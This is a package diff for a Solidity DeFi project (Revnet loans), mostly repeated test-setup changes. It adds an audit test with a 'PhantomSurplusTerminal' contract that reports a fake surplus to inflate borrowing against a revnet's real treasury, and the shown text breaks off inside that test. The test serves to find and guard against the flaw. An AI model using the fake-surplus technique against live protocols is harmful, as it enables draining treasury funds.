@rev-net/core-v6 0.0.30 → 0.0.31

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (62) hide show
  1. package/USER_JOURNEYS.md +11 -0
  2. package/package.json +8 -8
  3. package/script/Deploy.s.sol +4 -1
  4. package/src/REVDeployer.sol +4 -2
  5. package/src/REVLoans.sol +81 -59
  6. package/src/REVOwner.sol +40 -11
  7. package/src/interfaces/IREVLoans.sol +5 -0
  8. package/test/REV.integrations.t.sol +10 -1
  9. package/test/REVAutoIssuanceFuzz.t.sol +10 -1
  10. package/test/REVDeployerRegressions.t.sol +12 -1
  11. package/test/REVInvincibility.t.sol +21 -2
  12. package/test/REVLifecycle.t.sol +12 -1
  13. package/test/REVLoans.invariants.t.sol +12 -1
  14. package/test/REVLoansAttacks.t.sol +12 -1
  15. package/test/REVLoansFeeRecovery.t.sol +12 -1
  16. package/test/REVLoansFindings.t.sol +12 -1
  17. package/test/REVLoansRegressions.t.sol +12 -1
  18. package/test/REVLoansSourceFeeRecovery.t.sol +12 -1
  19. package/test/REVLoansSourced.t.sol +12 -1
  20. package/test/REVLoansUnSourced.t.sol +12 -1
  21. package/test/TestBurnHeldTokens.t.sol +12 -1
  22. package/test/TestCEIPattern.t.sol +12 -1
  23. package/test/TestCashOutCallerValidation.t.sol +13 -2
  24. package/test/TestConversionDocumentation.t.sol +12 -1
  25. package/test/TestCrossCurrencyReclaim.t.sol +12 -1
  26. package/test/TestCrossSourceReallocation.t.sol +12 -1
  27. package/test/TestERC2771MetaTx.t.sol +12 -1
  28. package/test/TestEmptyBuybackSpecs.t.sol +12 -1
  29. package/test/TestFlashLoanSurplus.t.sol +12 -1
  30. package/test/TestHiddenTokens.t.sol +12 -1
  31. package/test/TestHookArrayOOB.t.sol +12 -1
  32. package/test/TestLiquidationBehavior.t.sol +12 -1
  33. package/test/TestLoanSourceRotation.t.sol +12 -1
  34. package/test/TestLoansCashOutDelay.t.sol +12 -1
  35. package/test/TestLongTailEconomics.t.sol +12 -1
  36. package/test/TestLowFindings.t.sol +12 -1
  37. package/test/TestMixedFixes.t.sol +12 -1
  38. package/test/TestPermit2Signatures.t.sol +12 -1
  39. package/test/TestReallocationSandwich.t.sol +12 -1
  40. package/test/TestRevnetRegressions.t.sol +14 -2
  41. package/test/TestSplitWeightAdjustment.t.sol +12 -1
  42. package/test/TestSplitWeightE2E.t.sol +14 -1
  43. package/test/TestSplitWeightFork.t.sol +14 -1
  44. package/test/TestStageTransitionBorrowable.t.sol +12 -1
  45. package/test/TestSwapTerminalPermission.t.sol +12 -1
  46. package/test/TestUint112Overflow.t.sol +12 -1
  47. package/test/TestZeroAmountLoanGuard.t.sol +12 -1
  48. package/test/TestZeroRepayment.t.sol +12 -1
  49. package/test/audit/CodexPhantomSurplusTerminal.t.sol +367 -0
  50. package/test/audit/LoanIdOverflowGuard.t.sol +12 -1
  51. package/test/audit/NemesisOperatorDelegation.t.sol +12 -1
  52. package/test/fork/ForkTestBase.sol +14 -1
  53. package/test/mock/MockBuybackCashOutRecorder.sol +2 -0
  54. package/test/mock/MockBuybackDataHook.sol +3 -1
  55. package/test/mock/MockBuybackDataHookMintPath.sol +2 -0
  56. package/test/mock/MockSuckerRegistry.sol +17 -0
  57. package/test/regression/TestBurnPermissionRequired.t.sol +12 -1
  58. package/test/regression/TestCashOutBuybackFeeLeak.t.sol +14 -1
  59. package/test/regression/TestCrossRevnetLiquidation.t.sol +12 -1
  60. package/test/regression/TestCumulativeLoanCounter.t.sol +12 -1
  61. package/test/regression/TestLiquidateGapHandling.t.sol +12 -1
  62. package/test/regression/TestZeroPriceFeed.t.sol +12 -1
@@ -32,6 +32,8 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
32
32
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
33
33
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
34
34
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
35
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
36
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
35
37
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
36
38
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
37
39
  import {IJBRulesetDataHook} from "@bananapus/core-v6/src/interfaces/IJBRulesetDataHook.sol";
@@ -42,6 +44,8 @@ import {JB721TierConfig} from "@bananapus/721-hook-v6/src/structs/JB721TierConfi
42
44
  import {JB721TierConfigFlags} from "@bananapus/721-hook-v6/src/structs/JB721TierConfigFlags.sol";
43
45
  import {JB721InitTiersConfig} from "@bananapus/721-hook-v6/src/structs/JB721InitTiersConfig.sol";
44
46
  import {IJB721TokenUriResolver} from "@bananapus/721-hook-v6/src/interfaces/IJB721TokenUriResolver.sol";
47
+ import "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
48
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
45
49
  import {REVDeploy721TiersHookConfig} from "../src/structs/REVDeploy721TiersHookConfig.sol";
46
50
  import {REVCroptopAllowedPost} from "../src/structs/REVCroptopAllowedPost.sol";
47
51
  import {REVEmpty721Config} from "./helpers/REVEmpty721Config.sol";
@@ -66,6 +70,7 @@ import {StateLibrary} from "@uniswap/v4-core/src/libraries/StateLibrary.sol";
66
70
  import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
67
71
  import {REVOwner} from "../src/REVOwner.sol";
68
72
  import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
73
+ import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
69
74
 
70
75
  /// @notice Helper that adds liquidity to and swaps on a V4 pool via the unlock/callback pattern.
71
76
  contract LiquidityHelper is IUnlockCallback {
@@ -294,7 +299,14 @@ contract TestSplitWeightFork is TestBaseWorkflow {
294
299
  SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
295
300
  HOOK_STORE = new JB721TiersHookStore();
296
301
  EXAMPLE_HOOK = new JB721TiersHook(
297
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
302
+ jbDirectory(),
303
+ jbPermissions(),
304
+ jbPrices(),
305
+ jbRulesets(),
306
+ HOOK_STORE,
307
+ jbSplits(),
308
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
309
+ multisig()
298
310
  );
299
311
  ADDRESS_REGISTRY = new JBAddressRegistry();
300
312
  HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
@@ -323,6 +335,7 @@ contract TestSplitWeightFork is TestBaseWorkflow {
323
335
 
324
336
  LOANS_CONTRACT = new REVLoans({
325
337
  controller: jbController(),
338
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
326
339
  revId: FEE_PROJECT_ID,
327
340
  owner: address(this),
328
341
  permit2: permit2(),
@@ -31,11 +31,14 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
31
31
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
32
32
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
33
33
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
34
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
35
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
34
36
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
35
37
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
36
38
  import {REVEmpty721Config} from "./helpers/REVEmpty721Config.sol";
37
39
  import {REVOwner} from "../src/REVOwner.sol";
38
40
  import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
41
+ import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
39
42
 
40
43
  /// @notice Documents and verifies that stage transitions change the borrowable amount for the same collateral.
41
44
  /// This is by design: loan value tracks the current bonding curve parameters (cashOutTaxRate),
@@ -138,7 +141,14 @@ contract TestStageTransitionBorrowable is TestBaseWorkflow {
138
141
  SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
139
142
  HOOK_STORE = new JB721TiersHookStore();
140
143
  EXAMPLE_HOOK = new JB721TiersHook(
141
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
144
+ jbDirectory(),
145
+ jbPermissions(),
146
+ jbPrices(),
147
+ jbRulesets(),
148
+ HOOK_STORE,
149
+ jbSplits(),
150
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
151
+ multisig()
142
152
  );
143
153
  ADDRESS_REGISTRY = new JBAddressRegistry();
144
154
  HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
@@ -146,6 +156,7 @@ contract TestStageTransitionBorrowable is TestBaseWorkflow {
146
156
  MOCK_BUYBACK = new MockBuybackDataHook();
147
157
  LOANS_CONTRACT = new REVLoans({
148
158
  controller: jbController(),
159
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
149
160
  revId: FEE_PROJECT_ID,
150
161
  owner: address(this),
151
162
  permit2: permit2(),
@@ -33,11 +33,14 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
33
33
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
34
34
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
35
35
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
36
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
37
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
36
38
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
37
39
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
38
40
  import {REVEmpty721Config} from "./helpers/REVEmpty721Config.sol";
39
41
  import {REVOwner} from "../src/REVOwner.sol";
40
42
  import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
43
+ import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
41
44
 
42
45
  /// @notice Tests for default operator permissions including SET_ROUTER_TERMINAL.
43
46
  /// Verifies that all default split operator permissions are granted correctly.
@@ -79,7 +82,14 @@ contract TestSwapTerminalPermission is TestBaseWorkflow {
79
82
  SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
80
83
  HOOK_STORE = new JB721TiersHookStore();
81
84
  EXAMPLE_HOOK = new JB721TiersHook(
82
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
85
+ jbDirectory(),
86
+ jbPermissions(),
87
+ jbPrices(),
88
+ jbRulesets(),
89
+ HOOK_STORE,
90
+ jbSplits(),
91
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
92
+ multisig()
83
93
  );
84
94
  ADDRESS_REGISTRY = new JBAddressRegistry();
85
95
  HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
@@ -87,6 +97,7 @@ contract TestSwapTerminalPermission is TestBaseWorkflow {
87
97
  MOCK_BUYBACK = new MockBuybackDataHook();
88
98
  LOANS_CONTRACT = new REVLoans({
89
99
  controller: jbController(),
100
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
90
101
  revId: FEE_PROJECT_ID,
91
102
  owner: address(this),
92
103
  permit2: permit2(),
@@ -38,10 +38,13 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
38
38
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
39
39
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
40
40
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
41
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
42
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
41
43
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
42
44
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
43
45
  import {REVOwner} from "../src/REVOwner.sol";
44
46
  import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
47
+ import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
45
48
 
46
49
  /// @title TestUint112Overflow
47
50
  /// @notice Tests for uint112 truncation fix in REVLoans._adjust()
@@ -91,7 +94,14 @@ contract TestUint112Overflow is TestBaseWorkflow {
91
94
  SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
92
95
  HOOK_STORE = new JB721TiersHookStore();
93
96
  EXAMPLE_HOOK = new JB721TiersHook(
94
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
97
+ jbDirectory(),
98
+ jbPermissions(),
99
+ jbPrices(),
100
+ jbRulesets(),
101
+ HOOK_STORE,
102
+ jbSplits(),
103
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
104
+ multisig()
95
105
  );
96
106
  ADDRESS_REGISTRY = new JBAddressRegistry();
97
107
  HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
@@ -106,6 +116,7 @@ contract TestUint112Overflow is TestBaseWorkflow {
106
116
 
107
117
  LOANS_CONTRACT = new REVLoans({
108
118
  controller: jbController(),
119
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
109
120
  revId: FEE_PROJECT_ID,
110
121
  owner: address(this),
111
122
  permit2: permit2(),
@@ -37,11 +37,14 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
37
37
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
38
38
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
39
39
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
40
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
41
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
40
42
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
41
43
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
42
44
  import {REVOwner} from "../src/REVOwner.sol";
43
45
  import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
44
46
  import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
47
+ import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
45
48
 
46
49
  /// @notice Tests for PR #105: zero-amount loan guard and mint-before-adjust ordering.
47
50
  contract TestZeroAmountLoanGuard is TestBaseWorkflow {
@@ -87,7 +90,14 @@ contract TestZeroAmountLoanGuard is TestBaseWorkflow {
87
90
  SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
88
91
  HOOK_STORE = new JB721TiersHookStore();
89
92
  EXAMPLE_HOOK = new JB721TiersHook(
90
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
93
+ jbDirectory(),
94
+ jbPermissions(),
95
+ jbPrices(),
96
+ jbRulesets(),
97
+ HOOK_STORE,
98
+ jbSplits(),
99
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
100
+ multisig()
91
101
  );
92
102
  ADDRESS_REGISTRY = new JBAddressRegistry();
93
103
  HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
@@ -100,6 +110,7 @@ contract TestZeroAmountLoanGuard is TestBaseWorkflow {
100
110
  .addPriceFeedFor(0, uint32(uint160(address(TOKEN))), uint32(uint160(JBConstants.NATIVE_TOKEN)), priceFeed);
101
111
  LOANS_CONTRACT = new REVLoans({
102
112
  controller: jbController(),
113
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
103
114
  revId: FEE_PROJECT_ID,
104
115
  owner: address(this),
105
116
  permit2: permit2(),
@@ -38,10 +38,13 @@ import {JBSuckerRegistry} from "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
38
38
  import {JB721TiersHookDeployer} from "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
39
39
  import {JB721TiersHook} from "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
40
40
  import {JB721TiersHookStore} from "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
41
+ import {JB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
42
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
41
43
  import {JBAddressRegistry} from "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
42
44
  import {IJBAddressRegistry} from "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
43
45
  import {REVOwner} from "../src/REVOwner.sol";
44
46
  import {IREVDeployer} from "../src/interfaces/IREVDeployer.sol";
47
+ import {MockSuckerRegistry} from "./mock/MockSuckerRegistry.sol";
45
48
 
46
49
  /// @notice Tests for PR #16: zero repayment prevention.
47
50
  contract TestZeroRepayment is TestBaseWorkflow {
@@ -87,7 +90,14 @@ contract TestZeroRepayment is TestBaseWorkflow {
87
90
  SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
88
91
  HOOK_STORE = new JB721TiersHookStore();
89
92
  EXAMPLE_HOOK = new JB721TiersHook(
90
- jbDirectory(), jbPermissions(), jbPrices(), jbRulesets(), HOOK_STORE, jbSplits(), multisig()
93
+ jbDirectory(),
94
+ jbPermissions(),
95
+ jbPrices(),
96
+ jbRulesets(),
97
+ HOOK_STORE,
98
+ jbSplits(),
99
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
100
+ multisig()
91
101
  );
92
102
  ADDRESS_REGISTRY = new JBAddressRegistry();
93
103
  HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
@@ -100,6 +110,7 @@ contract TestZeroRepayment is TestBaseWorkflow {
100
110
  .addPriceFeedFor(0, uint32(uint160(address(TOKEN))), uint32(uint160(JBConstants.NATIVE_TOKEN)), priceFeed);
101
111
  LOANS_CONTRACT = new REVLoans({
102
112
  controller: jbController(),
113
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
103
114
  revId: FEE_PROJECT_ID,
104
115
  owner: address(this),
105
116
  permit2: permit2(),
@@ -0,0 +1,367 @@
1
+ // SPDX-License-Identifier: MIT
2
+ pragma solidity 0.8.28;
3
+
4
+ import "forge-std/Test.sol";
5
+ import "@bananapus/core-v6/test/helpers/TestBaseWorkflow.sol";
6
+ import "@bananapus/core-v6/script/helpers/CoreDeploymentLib.sol";
7
+ import "@bananapus/721-hook-v6/script/helpers/Hook721DeploymentLib.sol";
8
+ import "@bananapus/suckers-v6/script/helpers/SuckerDeploymentLib.sol";
9
+ import "@croptop/core-v6/script/helpers/CroptopDeploymentLib.sol";
10
+ import "@bananapus/router-terminal-v6/script/helpers/RouterTerminalDeploymentLib.sol";
11
+ import "@croptop/core-v6/src/CTPublisher.sol";
12
+ import "@bananapus/suckers-v6/src/JBSuckerRegistry.sol";
13
+ import "@bananapus/721-hook-v6/src/JB721TiersHook.sol";
14
+ import "@bananapus/721-hook-v6/src/JB721TiersHookDeployer.sol";
15
+ import "@bananapus/721-hook-v6/src/JB721TiersHookStore.sol";
16
+ import "@bananapus/721-hook-v6/src/JB721CheckpointsDeployer.sol";
17
+ import {IJB721CheckpointsDeployer} from "@bananapus/721-hook-v6/src/interfaces/IJB721CheckpointsDeployer.sol";
18
+ import "@bananapus/address-registry-v6/src/JBAddressRegistry.sol";
19
+ import "@bananapus/address-registry-v6/src/interfaces/IJBAddressRegistry.sol";
20
+ import "@bananapus/buyback-hook-v6/src/interfaces/IJBBuybackHookRegistry.sol";
21
+ import "@bananapus/core-v6/src/interfaces/IJBPermissions.sol";
22
+ import "@bananapus/core-v6/src/interfaces/IJBTerminal.sol";
23
+ import "@bananapus/core-v6/src/interfaces/IJBPayoutTerminal.sol";
24
+ import "@bananapus/core-v6/src/libraries/JBCashOuts.sol";
25
+ import "@bananapus/core-v6/src/libraries/JBConstants.sol";
26
+ import "@bananapus/core-v6/src/structs/JBAccountingContext.sol";
27
+ import "@bananapus/core-v6/src/structs/JBPermissionsData.sol";
28
+ import "@bananapus/core-v6/src/structs/JBTerminalConfig.sol";
29
+ import "@bananapus/core-v6/src/structs/JBSplit.sol";
30
+ import "@bananapus/core-v6/src/structs/JBRuleset.sol";
31
+ import "@bananapus/core-v6/src/structs/JBPayHookSpecification.sol";
32
+ import "@bananapus/permission-ids-v6/src/JBPermissionIds.sol";
33
+ import "@bananapus/suckers-v6/src/structs/JBSuckerDeployerConfig.sol";
34
+ import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
35
+
36
+ import {MockBuybackDataHook} from "../mock/MockBuybackDataHook.sol";
37
+ import {REVEmpty721Config} from "../helpers/REVEmpty721Config.sol";
38
+ import {REVDeployer} from "../../src/REVDeployer.sol";
39
+ import {REVLoans} from "../../src/REVLoans.sol";
40
+ import {REVOwner} from "../../src/REVOwner.sol";
41
+ import {IREVLoans} from "../../src/interfaces/IREVLoans.sol";
42
+ import {IREVDeployer} from "../../src/interfaces/IREVDeployer.sol";
43
+ import {REVConfig} from "../../src/structs/REVConfig.sol";
44
+ import {REVDescription} from "../../src/structs/REVDescription.sol";
45
+ import {REVLoanSource} from "../../src/structs/REVLoanSource.sol";
46
+ import {REVStageConfig} from "../../src/structs/REVStageConfig.sol";
47
+ import {REVAutoIssuance} from "../../src/structs/REVStageConfig.sol";
48
+ import {REVSuckerDeploymentConfig} from "../../src/structs/REVSuckerDeploymentConfig.sol";
49
+ import {MockSuckerRegistry} from "../mock/MockSuckerRegistry.sol";
50
+
51
+ contract PhantomSurplusTerminal is ERC165, IJBPayoutTerminal {
52
+ uint256 public fakeSurplus;
53
+
54
+ function setFakeSurplus(uint256 newFakeSurplus) external {
55
+ fakeSurplus = newFakeSurplus;
56
+ }
57
+
58
+ function currentSurplusOf(uint256, address[] calldata, uint256, uint256) external view override returns (uint256) {
59
+ return fakeSurplus;
60
+ }
61
+
62
+ function accountingContextForTokenOf(uint256, address) external pure override returns (JBAccountingContext memory) {
63
+ return JBAccountingContext({
64
+ token: JBConstants.NATIVE_TOKEN, decimals: 18, currency: uint32(uint160(JBConstants.NATIVE_TOKEN))
65
+ });
66
+ }
67
+
68
+ function accountingContextsOf(uint256) external pure override returns (JBAccountingContext[] memory) {
69
+ return new JBAccountingContext[](0);
70
+ }
71
+
72
+ function addAccountingContextsFor(uint256, JBAccountingContext[] calldata) external override {}
73
+
74
+ function addToBalanceOf(
75
+ uint256,
76
+ address,
77
+ uint256,
78
+ bool,
79
+ string calldata,
80
+ bytes calldata
81
+ )
82
+ external
83
+ payable
84
+ override
85
+ {}
86
+
87
+ function migrateBalanceOf(uint256, address, IJBTerminal) external pure override returns (uint256) {
88
+ return 0;
89
+ }
90
+
91
+ function pay(
92
+ uint256,
93
+ address,
94
+ uint256,
95
+ address,
96
+ uint256,
97
+ string calldata,
98
+ bytes calldata
99
+ )
100
+ external
101
+ payable
102
+ override
103
+ returns (uint256)
104
+ {
105
+ return 0;
106
+ }
107
+
108
+ function previewPayFor(
109
+ uint256,
110
+ address,
111
+ uint256,
112
+ address,
113
+ bytes calldata
114
+ )
115
+ external
116
+ pure
117
+ override
118
+ returns (JBRuleset memory, uint256, uint256, JBPayHookSpecification[] memory)
119
+ {
120
+ JBRuleset memory ruleset;
121
+ return (ruleset, 0, 0, new JBPayHookSpecification[](0));
122
+ }
123
+
124
+ function sendPayoutsOf(uint256, address, uint256, uint256, uint256) external pure override returns (uint256) {
125
+ return 0;
126
+ }
127
+
128
+ function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) {
129
+ return interfaceId == type(IJBTerminal).interfaceId || interfaceId == type(IJBPayoutTerminal).interfaceId
130
+ || super.supportsInterface(interfaceId);
131
+ }
132
+
133
+ function useAllowanceOf(
134
+ uint256,
135
+ address,
136
+ uint256,
137
+ uint256,
138
+ uint256,
139
+ address payable,
140
+ address payable,
141
+ string calldata
142
+ )
143
+ external
144
+ pure
145
+ override
146
+ returns (uint256)
147
+ {
148
+ return 0;
149
+ }
150
+ }
151
+
152
+ contract CodexPhantomSurplusTerminalTest is TestBaseWorkflow {
153
+ bytes32 internal constant REV_DEPLOYER_SALT = "REVDeployer";
154
+ address internal constant TRUSTED_FORWARDER = 0xB2b5841DBeF766d4b521221732F9B618fCf34A87;
155
+
156
+ address internal USER = makeAddr("user");
157
+
158
+ REVDeployer internal REV_DEPLOYER;
159
+ REVOwner internal REV_OWNER;
160
+ REVLoans internal LOANS;
161
+ JB721TiersHook internal EXAMPLE_HOOK;
162
+ IJB721TiersHookDeployer internal HOOK_DEPLOYER;
163
+ IJB721TiersHookStore internal HOOK_STORE;
164
+ IJBAddressRegistry internal ADDRESS_REGISTRY;
165
+ IJBSuckerRegistry internal SUCKER_REGISTRY;
166
+ CTPublisher internal PUBLISHER;
167
+ MockBuybackDataHook internal MOCK_BUYBACK;
168
+ PhantomSurplusTerminal internal PHANTOM_TERMINAL;
169
+
170
+ uint256 internal FEE_PROJECT_ID;
171
+ uint256 internal REVNET_ID;
172
+
173
+ function setUp() public override {
174
+ super.setUp();
175
+
176
+ FEE_PROJECT_ID = jbProjects().createFor(multisig());
177
+ SUCKER_REGISTRY = new JBSuckerRegistry(jbDirectory(), jbPermissions(), multisig(), address(0));
178
+ HOOK_STORE = new JB721TiersHookStore();
179
+ EXAMPLE_HOOK = new JB721TiersHook(
180
+ jbDirectory(),
181
+ jbPermissions(),
182
+ jbPrices(),
183
+ jbRulesets(),
184
+ HOOK_STORE,
185
+ jbSplits(),
186
+ IJB721CheckpointsDeployer(address(new JB721CheckpointsDeployer())),
187
+ multisig()
188
+ );
189
+ ADDRESS_REGISTRY = new JBAddressRegistry();
190
+ HOOK_DEPLOYER = new JB721TiersHookDeployer(EXAMPLE_HOOK, HOOK_STORE, ADDRESS_REGISTRY, multisig());
191
+ PUBLISHER = new CTPublisher(jbDirectory(), jbPermissions(), FEE_PROJECT_ID, multisig());
192
+ MOCK_BUYBACK = new MockBuybackDataHook();
193
+ LOANS = new REVLoans({
194
+ controller: jbController(),
195
+ suckerRegistry: IJBSuckerRegistry(address(new MockSuckerRegistry())),
196
+ revId: FEE_PROJECT_ID,
197
+ owner: address(this),
198
+ permit2: permit2(),
199
+ trustedForwarder: TRUSTED_FORWARDER
200
+ });
201
+ REV_OWNER = new REVOwner(
202
+ IJBBuybackHookRegistry(address(MOCK_BUYBACK)),
203
+ jbDirectory(),
204
+ FEE_PROJECT_ID,
205
+ SUCKER_REGISTRY,
206
+ address(LOANS),
207
+ address(0)
208
+ );
209
+ REV_DEPLOYER = new REVDeployer{salt: REV_DEPLOYER_SALT}(
210
+ jbController(),
211
+ SUCKER_REGISTRY,
212
+ FEE_PROJECT_ID,
213
+ HOOK_DEPLOYER,
214
+ PUBLISHER,
215
+ IJBBuybackHookRegistry(address(MOCK_BUYBACK)),
216
+ address(LOANS),
217
+ TRUSTED_FORWARDER,
218
+ address(REV_OWNER)
219
+ );
220
+ REV_OWNER.setDeployer(IREVDeployer(REV_DEPLOYER));
221
+ PHANTOM_TERMINAL = new PhantomSurplusTerminal();
222
+
223
+ vm.prank(multisig());
224
+ jbProjects().approve(address(REV_DEPLOYER), FEE_PROJECT_ID);
225
+
226
+ _deployFeeProject();
227
+ REVNET_ID = _deployRevnetWithPhantomTerminal();
228
+ vm.deal(USER, 200 ether);
229
+ }
230
+
231
+ function test_registeredPhantomTerminalInflatesBorrowAgainstRealTreasury() public {
232
+ uint256 realSurplus = 100 ether;
233
+ uint256 phantomSurplus = 100 ether;
234
+
235
+ PHANTOM_TERMINAL.setFakeSurplus(phantomSurplus);
236
+
237
